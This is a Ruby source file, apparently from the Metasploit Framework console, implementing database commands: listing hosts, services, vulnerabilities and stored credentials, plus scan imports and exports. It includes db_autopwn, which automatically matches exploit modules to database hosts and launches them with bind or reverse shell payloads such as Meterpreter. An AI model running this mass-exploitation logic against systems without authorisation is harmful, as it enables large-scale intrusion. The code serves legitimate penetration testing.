
require 'rexml/document'
require 'rex/parser/nmap_xml'
require 'msf/core/db_export'

module Msf
module Ui
module Console
module CommandDispatcher
class Db

		require 'tempfile'

		include Msf::Ui::Console::CommandDispatcher

		#
		# Constants
		#

		PWN_SHOW = 2**0
		PWN_XREF = 2**1
		PWN_PORT = 2**2
		PWN_EXPL = 2**3
		PWN_SING = 2**4
		PWN_SLNT = 2**5
		PWN_VERB = 2**6

		#
		# The dispatcher's name.
		#
		def name
			"Database Backend"
		end

		#
		# Returns the hash of commands supported by this dispatcher.
		#
		def commands
			base = {
				"db_driver"     => "Specify a database driver",
				"db_connect"    => "Connect to an existing database",
				"db_disconnect" => "Disconnect from the current database instance",
				"db_status"     => "Show the current database status",
				# Deprecated
				"db_create"     => "Create a brand new database",
				"db_destroy"    => "Drop an existing database",
				"db_sync"       => "Synchronize the database",
			}

			more = {
				"db_workspace"  => "Switch between database workspaces",
				"db_hosts"      => "List all hosts in the database",
				"db_services"   => "List all services in the database",
				"db_vulns"      => "List all vulnerabilities in the database",
				"db_notes"      => "List all notes in the database",
				"db_creds"      => "List all credentials in the database",
				"db_exploited"  => "List all exploited hosts in the database",
				"db_add_host"   => "Add one or more hosts to the database",
				"db_add_port"   => "Add a port to a host",
				"db_add_note"   => "Add a note to a host",
				"db_add_cred"   => "Add a credential to a host:port",
				"db_del_host"   => "Delete one or more hosts from the database",
				"db_del_port"   => "Delete one port from the database",
				"db_autopwn"    => "Automatically exploit everything",
				"db_import"     => "Import a scan result file (filetype will be auto-detected)",
				"db_export"     => "Export a file containing the contents of the database",				
				"db_import_ip_list" => "Import a list of line seperated IPs",
				"db_import_amap_mlog"   => "Import a THC-Amap scan results file (-o -m)",
				"db_import_amap_log"   => "Import a THC-Amap scan results file (-o )",
				"db_import_nessus_nbe"  => "Import a Nessus scan result file (NBE)",
				"db_import_nessus_xml"	=> "Import a Nessus scan result file (NESSUS)",
				"db_import_nmap_xml"    => "Import a Nmap scan results file (-oX)",
				"db_import_qualys_xml"  => "Import a Qualys scan results file (XML)",
				"db_import_msfe_xml"    => "Import a Metasploit Express report (XML)",
				"db_nmap"               => "Executes nmap and records the output automatically",
			}

			base.merge(more)
		end

		def active?
			if not framework.db.active
				print_error("Database not connected")
				return false
			end
			true
		end

		def cmd_db_workspace(*args)
			return unless active?
			while (arg = args.shift)
				case arg
				when '-h','--help'
					print_line("Usage:")
					print_line("    db_workspace                  List workspaces")
					print_line("    db_workspace [name]           Switch workspace")
					print_line("    db_workspace -a [name] ...    Add workspace(s)")
					print_line("    db_workspace -d [name] ...    Delete workspace(s)")
					print_line("    db_workspace -h               Show this help information")
					return
				when '-a','--add'
					adding = true
				when '-d','--del'
					deleting = true
				else
					names ||= []
					names << arg
				end
			end

			if adding and names
				# Add workspaces
				workspace = nil
				names.each do |name|
					workspace = framework.db.add_workspace(name)
					print_status("Added workspace: #{workspace.name}")
				end
				framework.db.workspace = workspace
			elsif deleting and names
				# Delete workspaces
				names.each do |name|
					workspace = framework.db.find_workspace(name)
					if workspace.nil?
						print_error("Workspace not found: #{name}")
					elsif workspace.default?
						workspace.destroy
						workspace = framework.db.add_workspace(name)
						print_status("Deleted and recreated the default workspace")
					else
						# switch to the default workspace if we're about to delete the current one
						framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name
						# now destroy the named workspace
						workspace.destroy
						print_status("Deleted workspace: #{name}")
					end
				end
			elsif names
				name = names.last
				# Switch workspace
				workspace = framework.db.find_workspace(name)
				if workspace
					framework.db.workspace = workspace
					print_status("Workspace: #{workspace.name}")
				else
					print_error("Workspace not found: #{name}")
					return
				end
			else
				# List workspaces
				framework.db.workspaces.each do |s|
					pad = (s.name == framework.db.workspace.name) ? "* " : "  "
					print_line(pad + s.name)
				end
			end
		end

		def cmd_db_workspace_tabs(str, words)
			return [] unless active?
			framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty?
		end

		def cmd_db_hosts(*args)
			return unless active?
			onlyup = false
			host_search = nil
			col_search = nil
			output = nil
			default_columns = ::Msf::DBManager::Host.column_names.sort
			virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
			default_columns.delete_if {|v| (v[-2,2] == "id")}
			while (arg = args.shift)
				case arg
				when '-c'
					list = args.shift
					if(!list)
						print_error("Invalid column list")
						return
					end
					col_search = list.strip().split(",")
					col_search.each { |c|
						if not default_columns.include?(c) and not virtual_columns.include?(c)
							all_columns = default_columns + virtual_columns
							print_error("Invalid column list. Possible values are (#{all_columns.join("|")})")
							return
						end
					}
				when '-u','--up'
					onlyup = true
				when '-a'
					hostlist = args.shift
					if (!hostlist)
						print_error("Invalid host list")
						return
					end
					host_search = hostlist.strip().split(",")
				when '-o'
					output = args.shift
				when '-h','--help'
					print_line "Usage: db_hosts [-h|--help] [-u|--up] [-a <addr1,addr2>] [-c <column1,column2>] [-o output-file ]"
					print_line
					print_line "  -a <addr1,addr2>  Search for a list of addresses"
					print_line "  -c <col1,col2>    Only show the given columns"
					print_line "  -h,--help         Show this help information"
					print_line "  -u,--up           Only show hosts which are up"
					print_line "  -o <file>         Send output to a file in csv format"
					print_line
					print_line "Available columns: #{default_columns.join(", ")}"
					print_line
					return
				end
			end

			ofd = nil
			ofd = ::File.open(output, "w") if output

			col_names = default_columns + virtual_columns
			if col_search
				col_names.delete_if {|v| not col_search.include?(v)}
			end

			if ofd
				ofd.puts col_names.join(',')
			else
				tbl = Rex::Ui::Text::Table.new(
					{
						'Header'  => "Hosts",
						'Columns' => col_names,
					})
			end

			framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
				columns = col_names.map do |n|
					if virtual_columns.include?(n)
						case n
						when "svcs"
							host.services.length
						when "vulns"
							host.vulns.length
						when "workspace"
							host.workspace.name
						end
					else
						host.attributes[n] || ""
					end
				end

				if ofd
					columns.map { |n|
						n = "#{n}"
						n = "\"#{n}\"" if n.include?(',')
					}
					ofd.puts columns.join(',')
				else
					tbl << columns
				end
			end

			if ofd
				print_status("Wrote hosts to #{output}")
				ofd.close
			else
				print_line
				print_line tbl.to_s if not ofd
			end
		end

		def cmd_db_sync(*args)
			return unless active?
			print_status("Synchronizing the database...")
			framework.db.sync
		end

		def cmd_db_services(*args)
			return unless active?
			onlyup = false
			host_search = nil
			port_search = nil
			proto_search = nil
			name_search = nil
			col_search = nil
			default_columns = ::Msf::DBManager::Service.column_names.sort
			default_columns.delete_if {|v| (v[-2,2] == "id")}
			while (arg = args.shift)
				case arg
				when '-u','--up'
					onlyup = true
				when '-c'
					list = args.shift
					if(!list)
						print_error("Invalid column list")
						return
					end
					col_search = list.strip().split(",")
					col_search.each { |c|
						if not default_columns.include? c
							print_error("Invalid column list. Possible values are (#{default_columns.join("|")})")
							return
						end
					}
				when '-a'
					addrlist = args.shift
					if (!addrlist)
						print_error("Invalid address list")
						return
					end
					addrs = addrlist.strip().split(",")
				when '-p'
					portlist = args.shift
					if (!portlist)
						print_error("Invalid port list")
						return
					end
					ports = portlist.strip().split(",")
				when '-r'
					proto = args.shift
					if (!proto)
						print_status("Invalid protocol")
						return
					end
					proto = proto.strip
				when '-n'
					namelist = args.shift
					if (!namelist)
						print_error("Invalid name list")
						return
					end
					names = namelist.strip().split(",")

				when '-h','--help'
					print_line
					print_line "Usage: db_services [-h|--help] [-u|--up] [-a <addr1,addr2>] [-r <proto>] [-p <port1,port2>] [-n <name1,name2>]"
					print_line
					print_line "  -a <addr1,addr2>  Search for a list of addresses"
					print_line "  -c <col1,col2>    Only show the given columns"
					print_line "  -h,--help         Show this help information"
					print_line "  -n <name1,name2>  Search for a list of service names"
					print_line "  -p <port1,port2>  Search for a list of ports"
					print_line "  -r <protocol>     Only show [tcp|udp] services"
					print_line "  -u,--up           Only show services which are up"
					print_line
					print_line "Available columns: #{default_columns.join(", ")}"
					print_line
					return
				end
			end

			col_names = default_columns
			if col_search
				col_names.delete_if {|v| not col_search.include?(v)}
			end
			tbl = Rex::Ui::Text::Table.new({
					'Header'  => "Services",
					'Columns' => col_names + ["Host", "Workspace"],
				})
			framework.db.services(framework.db.workspace, onlyup, proto, addrs, ports, names).each do |service|
				columns = col_names.map { |n| service.attributes[n] || "" }
				host = service.host
				columns += [host.address, host.workspace.name]
				tbl << columns
			end
			print_line
			print_line tbl.to_s
		end


		def cmd_db_vulns(*args)
			return unless active?
			framework.db.each_vuln(framework.db.workspace) do |vuln|
				reflist = vuln.refs.map { |r| r.name }
				if(vuln.service)
					print_status("Time: #{vuln.created_at} Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}")
				else
					print_status("Time: #{vuln.created_at} Vuln: host=#{vuln.host.address} name=#{vuln.name} refs=#{reflist.join(',')}")
				end
			end
		end

		# Only takes two arguments. Can return return active or all, on a certain 
		# host or range, on a certain port or range, and/or on a service name. 
		# E.g., these:
		#
		# db_creds     # Default, returns all active credentials)
		# db_creds all # Returns all credentials, active or not 
		# db_creds host=10.10.10.0/24
		# db_creds port=1-1024
		# db_creds service=ssh,smb,http
		def cmd_db_creds(*args)
			return unless active?
			if args.size > 2
				print_status "Usage: db_creds [host=1.2.3.4/24|port=1-1024|service=ssh,smb,etc] [all]"
				print_status "       Note, only one of host, port, or service can be used at a time."
				print_status "       To display inactive credentials as well, use the 'all' keyword."
				return
			end
			search_term = nil
			search_param = nil
			inactive_ok = false
			creds_returned = 0
			if args[0] =~ /^[\s]*(host|port|service)=(.*)/i
				search_term = $1.downcase
				search_param = $2.downcase
				if args[1] =~ /^[\s]*all/
					inactive_ok = true
				end
			elsif args[0] =~ /^[\s]*all/
				inactive_ok = true
			end
			framework.db.each_cred(framework.db.workspace) do |cred|
				if(cred.active | inactive_ok)
					case search_term
					when "host"
						begin
							rw = Rex::Socket::RangeWalker.new(search_param)
							next unless rw.include? cred.service.host.address
						rescue
							print_error "Invalid host parameter."
							break
						end
					when "port"
						if search_param =~ /([0-9]+)-([0-9]+)/
							ports = Range.new($1,$2)
						else
							ports = Range.new(search_param,search_param)
						end
						next unless ports.include? cred.service.port.to_s
					when "service"
						svcs = search_param.split(/[\s]*,[\s]*/)
						next unless svcs.include? cred.service.name
					end
					print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}")
					creds_returned += 1
				else
					next
				end
			end
			print_status "Found #{creds_returned} credential#{creds_returned == 1 ? "" : "s"}."
		end

		# Returns exploited hosts. Takes a similiar set of options as db_creds
		def cmd_db_exploited(*args)
			return unless active?
			if args.size > 1
				print_status "Usage: db_exploited [host=1.2.3.4/24|port=1-1024|service=ssh,smb,etc]"
				print_status "       Note, only one of host, port, or service can be used at a time."
				return
			end
			search_term = nil
			search_param = nil
			exploited_returned = 0
			if args[0] =~ /^[\s]*(host|port|service)=(.*)/i
				search_term = $1.downcase
				search_param = $2.downcase
			end
			framework.db.each_exploited_host(framework.db.workspace) do |eh|
				case search_term
				when "host"
					begin
						rw = Rex::Socket::RangeWalker.new(search_param)
						next unless rw.include? eh.host.address
					rescue
						print_error "Invalid host parameter."
						break
					end
				when "port"
					if search_param =~ /([0-9]+)-([0-9]+)/
						ports = Range.new($1,$2)
					else
						ports = Range.new(search_param,search_param)
					end
					next unless ports.include? eh.service.port.to_s
				when "service"
					svcs = search_param.split(/[\s]*,[\s]*/)
					next unless svcs.include? eh.service.name
				end
				if eh.service
					print_status("Time: #{eh.updated_at} Host Info: host=#{eh.host.address} port=#{eh.service.port} proto=#{eh.service.proto} sname=#{eh.service.name} exploit=#{eh.name}")
				else
					print_status("Time: #{eh.updated_at} Host Info: host=#{eh.host.address} exploit=#{eh.name}")
				end
				exploited_returned += 1
			end
			print_status "Found #{exploited_returned} exploited host#{exploited_returned == 1 ? "" : "s"}."
		end

		def cmd_db_notes(*args)
			return unless active?
			hosts = nil
			types = nil
			while (arg = args.shift)
				case arg
				when '-a'
					hostlist = args.shift
					if(!hostlist)
						print_status("Invalid host list")
						return
					end
					hosts = hostlist.strip().split(",")
				when '-t'
					typelist = args.shift
					if(!typelist)
						print_status("Invalid host list")
						return
					end
					types = typelist.strip().split(",")
				when '-h','--help'
					print_status("Usage: db_notes [-h|--help] [-a <addr1,addr2>] [-t <type1,type2>]")
					print_line("  -a <addr1,addr2>  Search for a list of addresses")
					print_line("  -t <type1,type2>  Search for a list of types")
					print_line("  -h,--help         Show this help information")
					return
				end

			end
			framework.db.each_note(framework.db.workspace) do |note|
				next if(hosts and (note.host == nil or hosts.index(note.host.address) == nil))
				next if(types and types.index(note.ntype) == nil)
				msg = "Time: #{note.created_at} Note:"
				if (note.host)
					msg << " host=#{note.host.address}"
				end
				if (note.service)
					name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}")
					msg << "service=#{name}"
				end
				msg << " type=#{note.ntype} data=#{note.data.inspect}"
				print_status(msg)
			end
		end

		def cmd_db_add_host(*args)
			return unless active?
			print_status("Adding #{args.length} hosts...")
			args.each do |address|
				host = framework.db.find_or_create_host(:host => address)
				print_status("Time: #{host.created_at} Host: host=#{host.address}")
			end
		end

		def cmd_db_add_port(*args)
			return unless active?
			if (not args or args.length < 2 or args.length > 4)
				print_status("Usage: db_add_port <host> <port> [proto] [name]")
				return
			end

			host = framework.db.find_or_create_host(:host => args[0])
			return if not host
			info = {
				:host => host,
				:port => args[1].to_i
			}
			info[:proto] = args[2].downcase if args[2]
			info[:name]  = args[3].downcase if args[3]

			service = framework.db.find_or_create_service(info)
			return if not service

			print_status("Time: #{service.created_at} Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}")
		end

		def cmd_db_del_port(*args)
			return unless active?
			if (not args or args.length < 3)
				print_status("Usage: db_del_port [host] [port] [proto]")
				return
			end

			if framework.db.del_service(framework.db.workspace, args[0], args[2].downcase, args[1].to_i)
				print_status("Service: host=#{args[0]} port=#{args[1].to_i} proto=#{args[2].downcase} deleted")
			end
		end

		def cmd_db_add_note(*args)
			return unless active?
			if (not args or args.length < 3)
				print_status("Usage: db_add_note [host] [type] [note]")
				return
			end

			naddr = args.shift
			ntype = args.shift
			ndata = args.join(" ")

			host = framework.db.find_or_create_host(:host => naddr)
			return if not host

			note = framework.db.find_or_create_note(:host => host, :type => ntype, :data => ndata)
			return if not note

			print_status("Time: #{note.created_at} Note: host=#{note.host.address} type=#{note.ntype} data=#{note.data}")
		end

		def cmd_db_add_cred(*args)
			return unless active?
			if (!args || args.length < 3)
				print_status("Usage: db_add_cred [host] [port] [user] [pass] [type] [active]")
				return
			else
				host,port,user,pass,ptype,active = args
				cred = framework.db.find_or_create_cred(
					:host => host,
					:port => port,
					:user => (user == "NULL" ? nil : user),
					:pass => (pass == "NULL" ? nil : pass),
					:ptype => ptype,
					:active => (active == "false" ? false : true )
				)
				print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}")
			end
		end

		def cmd_db_del_host(*args)
			return unless active?
			args.each do |address|
				if framework.db.del_host(framework.db.workspace, address)
					print_status("Host #{address} deleted")
				end
			end
		end

		#
		# A shotgun approach to network-wide exploitation
		#
		def cmd_db_autopwn(*args)
			return unless active?

			stamp = Time.now.to_f
			vcnt  = 0
			rcnt  = 0
			mode  = 0
			code  = :bind
			mjob  = 5
			regx  = nil
			minrank = nil
			maxtime = 120

			port_inc = []
			port_exc = []

			targ_inc = []
			targ_exc = []

			args.push("-h") if args.length == 0

			while (arg = args.shift)
				case arg
				when '-t'
					mode |= PWN_SHOW
				when '-x'
					mode |= PWN_XREF
				when '-p'
					mode |= PWN_PORT
				when '-e'
					mode |= PWN_EXPL
				when '-s'
					mode |= PWN_SING
				when '-q'
					mode |= PWN_SLNT
				when '-v'
					mode |= PWN_VERB
				when '-j'
					mjob = args.shift.to_i
				when '-r'
					code = :conn
				when '-b'
					code = :bind
				when '-I'
					tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ])
					range = args.shift
					if not tmpopt.valid?(range)
						print_error("Invalid range for -I")
						return
					end
					targ_inc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range))
				when '-X'
					tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ])
					range = args.shift
					if not tmpopt.valid?(range)
						print_error("Invalid range for -X")
						return
					end
					targ_exc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range))
				when '-PI'
					port_inc = Rex::Socket.portspec_to_portlist(args.shift)
				when '-PX'
					port_exc = Rex::Socket.portspec_to_portlist(args.shift)
				when '-m'
					regx = args.shift
				when '-R'
					minrank = args.shift
				when '-T'
					maxtime = args.shift.to_f
				when '-h','--help'
					print_status("Usage: db_autopwn [options]")
					print_line("\t-h          Display this help text")
					print_line("\t-t          Show all matching exploit modules")
					print_line("\t-x          Select modules based on vulnerability references")
					print_line("\t-p          Select modules based on open ports")
					print_line("\t-e          Launch exploits against all matched targets")
#					print_line("\t-s          Only obtain a single shell per target system (NON-FUNCTIONAL)")
					print_line("\t-r          Use a reverse connect shell")
					print_line("\t-b          Use a bind shell on a random port (default)")
					print_line("\t-q          Disable exploit module output")
					print_line("\t-R  [rank]  Only run modules with a minimal rank")
					print_line("\t-I  [range] Only exploit hosts inside this range")
					print_line("\t-X  [range] Always exclude hosts inside this range")
					print_line("\t-PI [range] Only exploit hosts with these ports open")
					print_line("\t-PX [range] Always exclude hosts with these ports open")
					print_line("\t-m  [regex] Only run modules whose name matches the regex")
					print_line("\t-T  [secs]  Maximum runtime for any exploit in seconds")
					print_line("")
					return
				end
			end

			minrank = minrank || framework.datastore['MinimumRank'] || 'manual'
			if ! RankingName.values.include?(minrank)
				print_error("MinimumRank invalid!  Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
				wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
				return
			else
				minrank = RankingName.invert[minrank]
			end

			# Default to quiet mode
			if (mode & PWN_VERB == 0)
				mode |= PWN_SLNT
			end

			matches    = {}
			refmatches = {}

			# Pre-allocate a list of references and ports for all exploits
			mrefs  = {}
			mports = {}
			mservs = {}

			# A list of jobs we spawned and need to wait for
			autopwn_jobs = []

			[ [framework.exploits, 'exploit' ], [ framework.auxiliary, 'auxiliary' ] ].each do |mtype|
				mtype[0].each_module do |modname, mod|
					o = mod.new

					if(mode & PWN_XREF != 0)
						o.references.each do |r|
							next if r.ctx_id == 'URL'
							ref = r.ctx_id + "-" + r.ctx_val
							ref.upcase!

							mrefs[ref] ||= {}
							mrefs[ref][o.fullname] = o
						end
					end

					if(mode & PWN_PORT != 0)
						if(o.datastore['RPORT'])
							rport = o.datastore['RPORT']
							mports[rport.to_i] ||= {}
							mports[rport.to_i][o.fullname] = o
						end

						if(o.respond_to?('autofilter_ports'))
							o.autofilter_ports.each do |rport|
								mports[rport.to_i] ||= {}
								mports[rport.to_i][o.fullname] = o
							end
						end

						if(o.respond_to?('autofilter_services'))
							o.autofilter_services.each do |serv|
								mservs[serv] ||= {}
								mservs[serv][o.fullname] = o
							end
						end
					end
				end
			end


			begin

			framework.db.hosts.each do |host|
				xhost = host.address
				next if (targ_inc.length > 0 and not range_include?(targ_inc, xhost))
				next if (targ_exc.length > 0 and range_include?(targ_exc, xhost))

				if(mode & PWN_VERB != 0)
					print_status("Scanning #{xhost} for matching exploit modules...")
				end

				#
				# Match based on vulnerability references
				#
				if (mode & PWN_XREF != 0)

					host.vulns.each do |vuln|

						# Faster to handle these here
						serv = vuln.service
						xport = xprot = nil

						if(serv)
							xport = serv.port
							xprot = serv.proto
						end

						vuln.refs.each do |ref|
							mods = mrefs[ref.name.upcase] || {}
							mods.each_key do |modname|
								mod = mods[modname]
								next if minrank and minrank > mod.rank
								next if (regx and mod.fullname !~ /#{regx}/)

								if(xport)
									next if (port_inc.length > 0 and not port_inc.include?(serv.port.to_i))
									next if (port_exc.length > 0 and port_exc.include?(serv.port.to_i))
								else
									if(mod.datastore['RPORT'])
										next if (port_inc.length > 0 and not port_inc.include?(mod.datastore['RPORT'].to_i))
										next if (port_exc.length > 0 and port_exc.include?(mod.datastore['RPORT'].to_i))
									end
								end

								next if (regx and e.fullname !~ /#{regx}/)

								mod.datastore['RPORT'] = xport if xport
								mod.datastore['RHOST'] = xhost

								filtered = false
								begin
									::Timeout.timeout(2, ::RuntimeError) do
										filtered = true if not mod.autofilter()
									end
								rescue ::Interrupt
									raise $!
								rescue ::Timeout::Error
									filtered = true
								rescue ::Exception
									filtered = true
								end
								next if filtered

								matches[[xport,xprot,xhost,mod.fullname]]=true
								refmatches[[xport,xprot,xhost,mod.fullname]] ||= []
								refmatches[[xport,xprot,xhost,mod.fullname]] << ref.name
							end
						end
					end
				end

				#
				# Match based on open ports
				#
				if (mode & PWN_PORT != 0)
					host.services.each do |serv|
						next if not serv.host
						next if (serv.state != ServiceState::Open)

						xport = serv.port.to_i
						xprot = serv.proto
						xname = serv.name

						next if xport == 0

						next if (port_inc.length > 0 and not port_inc.include?(xport))
						next if (port_exc.length > 0 and port_exc.include?(xport))

						mods = mports[xport.to_i] || {}

						mods.each_key do |modname|
							mod = mods[modname]
							next if minrank and minrank > mod.rank
							next if (regx and mod.fullname !~ /#{regx}/)
							mod.datastore['RPORT'] = xport
							mod.datastore['RHOST'] = xhost

							filtered = false
							begin
								::Timeout.timeout(2, ::RuntimeError) do
									filtered = true if not mod.autofilter()
								end
							rescue ::Interrupt
								raise $!
							rescue ::Exception
								filtered = true
							end

							next if filtered
							matches[[xport,xprot,xhost,mod.fullname]]=true
						end

						mods = mservs[xname] || {}
						mods.each_key do |modname|
							mod = mods[modname]
							next if minrank and minrank > mod.rank
							next if (regx and mod.fullname !~ /#{regx}/)
							mod.datastore['RPORT'] = xport
							mod.datastore['RHOST'] = xhost

							filtered = false
							begin
								::Timeout.timeout(2, ::RuntimeError) do
									filtered = true if not mod.autofilter()
								end
							rescue ::Interrupt
								raise $!
							rescue ::Exception
								filtered = true
							end

							next if filtered
							matches[[xport,xprot,xhost,mod.fullname]]=true
						end
					end
				end
			end

			rescue ::Exception => e
				print_status("ERROR: #{e.class} #{e} #{e.backtrace}")
				return
			end

			if (mode & PWN_SHOW != 0)
				print_status("Analysis completed in #{(Time.now.to_f - stamp).to_i} seconds (#{vcnt} vulns / #{rcnt} refs)")
				print_status("")
				print_status("=" * 80)
				print_status(" " * 28 + "Matching Exploit Modules")
				print_status("=" * 80)

				matches.each_key do |xref|
					mod = nil
					if ((mod = framework.modules.create(xref[3])) == nil)
						print_status("Failed to initialize #{xref[3]}")
						next
					end

					if (mode & PWN_SHOW != 0)
						tport = xref[0] || mod.datastore['RPORT']
						if(refmatches[xref])
							print_status("  #{xref[2]}:#{tport}  #{xref[3]}  (#{refmatches[xref].join(", ")})")
						else
							print_status("  #{xref[2]}:#{tport}  #{xref[3]}  (port match)")
						end
					end

				end
				print_status("=" * 80)
				print_status("")
				print_status("")
			end

			ilog("db_autopwn: Matched #{matches.length} modules")

			idx = 0
			matches.each_key do |xref|

				idx += 1

				begin
					mod = nil

					if ((mod = framework.modules.create(xref[3])) == nil)
						print_status("Failed to initialize #{xref[3]}")
						next
					end

					#
					# The code is just a proof-of-concept and will be expanded in the future
					#
					if (mode & PWN_EXPL != 0)

						mod.datastore['RHOST'] = xref[2]

						if(xref[0])
							mod.datastore['RPORT'] = xref[0].to_s
						end

						if (code == :bind)
							mod.datastore['LPORT']   = (rand(0x8fff) + 4000).to_s
							if(mod.fullname =~ /\/windows\//)
								mod.datastore['PAYLOAD'] = 'windows/meterpreter/bind_tcp'
							else
								mod.datastore['PAYLOAD'] = 'generic/shell_bind_tcp'
							end
						end

						if (code == :conn)
							mod.datastore['LHOST']   = 	Rex::Socket.source_address(xref[2])
							mod.datastore['LPORT']   = 	(rand(0x8fff) + 4000).to_s

							if (mod.datastore['LHOST'] == '127.0.0.1')
								print_status("Failed to determine listener address for target #{xref[2]}...")
								next
							end

							if(mod.fullname =~ /\/windows\//)
								mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
							else
								mod.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp'
							end
						end


						if(framework.jobs.keys.length >= mjob)
							print_status("Job limit reached, waiting on modules to finish...")
							while(framework.jobs.keys.length >= mjob)
								::IO.select(nil, nil, nil, 0.25)
							end
						end

						print_status("(#{idx}/#{matches.length} [#{framework.sessions.length} sessions]): Launching #{xref[3]} against #{xref[2]}:#{mod.datastore['RPORT']}...")

						autopwn_jobs << Thread.new(mod) do |xmod|
							begin
							stime = Time.now.to_f
							::Timeout.timeout(maxtime) do
									inp = (mode & PWN_SLNT != 0) ? nil : driver.input
									out = (mode & PWN_SLNT != 0) ? nil : driver.output

									case xmod.type
									when MODULE_EXPLOIT
										xmod.exploit_simple(
											'Payload'        => xmod.datastore['PAYLOAD'],
											'LocalInput'     => inp,
											'LocalOutput'    => out,
											'RunAsJob'       => false)
									when MODULE_AUX
										xmod.run_simple(
											'LocalInput'     => inp,
											'LocalOutput'    => out,
											'RunAsJob'       => false)
									end
								end

							rescue ::Timeout::Error
								print_status(" >> autopwn module timeout from #{xmod.fullname} after #{Time.now.to_f - stime} seconds")
							rescue ::Exception
								print_status(" >> autopwn exception during launch from #{xmod.fullname}: #{$!} ")
							end
						end
					end

				rescue ::Interrupt
					raise $!

				rescue ::Exception
					print_status(" >> autopwn exception from #{xref[3]}: #{$!} #{$!.backtrace}")
				end
			end

			# Wait on all the jobs we just spawned
			while (not autopwn_jobs.empty?)
				# All running jobs are stored in framework.jobs.  If it's
				# not in this list, it must have completed.
				autopwn_jobs.delete_if { |j| not j.alive? }

				print_status("(#{matches.length}/#{matches.length} [#{framework.sessions.length} sessions]): Waiting on #{autopwn_jobs.length} launched modules to finish execution...")
				::IO.select(nil, nil, nil, 5.0)
			end

			if (mode & PWN_SHOW != 0 and mode & PWN_EXPL != 0)
				print_status("The autopwn command has completed with #{framework.sessions.length} sessions")
				if(framework.sessions.length > 0)
					print_status("Enter sessions -i [ID] to interact with a given session ID")
					print_status("")
					print_status("=" * 80)
					driver.run_single("sessions -l -v")
					print_status("=" * 80)
				end
			end
			print_line("")
		# EOM
		end

		#
		# Determine if an IP address is inside a given range
		#
		def range_include?(ranges, addr)
			ranges.each do |range|
				return true if range.include? addr
			end
			false
		end

		def cmd_db_import_tabs(str, words)
			tab_complete_filenames(str, words)
		end

		# Informs about the superior cmd_db_import function. 
		def warn_about_db_import(arg)
			return nil unless caller[0][/:in `cmd_(.*)'/] # `fix higlighting
			triggering_function = $1
			print_error "The command '#{triggering_function}' is deprecated; use 'db_import #{arg}' instead."
		end

		#
		# Generic import that automatically detects the file type
		#
		def cmd_db_import(*args)
			return unless active?
			if (args.include?("-h") or not (args and args.length > 0))
				print_error("Usage: db_import <filename> [file2...]")
				print_line
				print_line("filenames can be globs like *.xml, or **/*.xml which will search recursively")
				return
			end
			args.each { |glob|
				files = Dir.glob(File.expand_path(glob))
				if files.empty?
					print_error("No such file #{glob}")
					next
				end
				files.each { |filename|
					if (not File.readable?(filename))
						print_error("Could not read file #{filename}")
						next
					end
					begin
						framework.db.import_file(:filename => filename) do |type,data|
							case type
							when :filetype
								print_status("Importing '#{data}' data")
							when :address
								print_status("Importing host #{data}")
							when :msfx_loot
								print_status("Importing loot #{data}")
							when :msfx_task
								print_status("Importing task #{data}")
							when :msft_report
								print_status("Importing report #{data}")
							end
						end
						print_status("Successfully imported #{filename}")
					rescue DBImportError
						print_error("Failed to import #{filename}: #{$!}")
						elog("Failed to import #{filename}: #{$!.class}: #{$!}")
						dlog("Call stack: #{$@.join("\n")}", LEV_3)
						next
					rescue REXML::ParseException => e
						print_error("Failed to import #{filename} due to malformed XML:")
						print_error "#{$!.class}: #{$!}"
						elog("Failed to import #{filename}: #{$!.class}: #{$!}")
						dlog("Call stack: #{$@.join("\n")}", LEV_3)
						next
					end
				}
			}
		end

		#
		# Export an XML
		#
		def cmd_db_export(*args)
			return unless active?

			format = 'xml'
			output = nil
			
			while (arg = args.shift)
				case arg
				when '-h','--help'
					print_line("Usage:")
					print_line("    db_export -f <format> [filename]")
				when '-f','--format'
					format = args.shift.to_s.downcase
				else
					output = arg
				end
			end
			
			if not output
				print_error("No output file was specified")
				return
			end
			
			if not %W{xml}.include?(format)
				print_error("Unsupported file format: #{format}")
				return
			end
			
			print_status("Starting export of workspace #{framework.db.workspace.name} to #{output} [ #{format} ]...")
			exporter = Msf::DBManager::Export.new(framework.db.workspace)
			exporter.to_xml_file(output) do |mtype, mstatus, mname|
				if mtype == :status
					if mstatus == "start"
						print_status("    >> Starting export of #{mname}")
					end
					if mstatus == "complete"
						print_status("    >> Finished export of #{mname}")
					end					
				end
			end
			print_status("Finished export of workspace #{framework.db.workspace.name} to #{output} [ #{format} ]...")
		end
		
		#
		# Import Nessus NBE files
		#
		def cmd_db_import_nessus_nbe(*args)
			return unless active?
			if (not (args and args.length == 1))
				print_status("Usage: db_import_nessus_xml <nessus.nbe>")
				return
			end

			warn_about_db_import(args[0])

			if (not File.readable?(args[0]))
				print_status("Could not read the NBE file")
				return
			end
			framework.db.import_nessus_nbe_file(:filename => args[0])
		end

		#
		# Import Nessus NESSUS files
		#
		def cmd_db_import_nessus_xml(*args)
			return unless active?
			if (not (args and args.length == 1))
				print_status("Usage: db_import_nessus_xml <nessus.nessus>")
				return
			end

			warn_about_db_import(args[0])

			if (not File.readable?(args[0]))
				print_status("Could not read the NESSUS file")
				return
			end
			framework.db.import_nessus_xml_file(:filename => args[0])
		end

		#
		# Import Nmap data from a file
		#
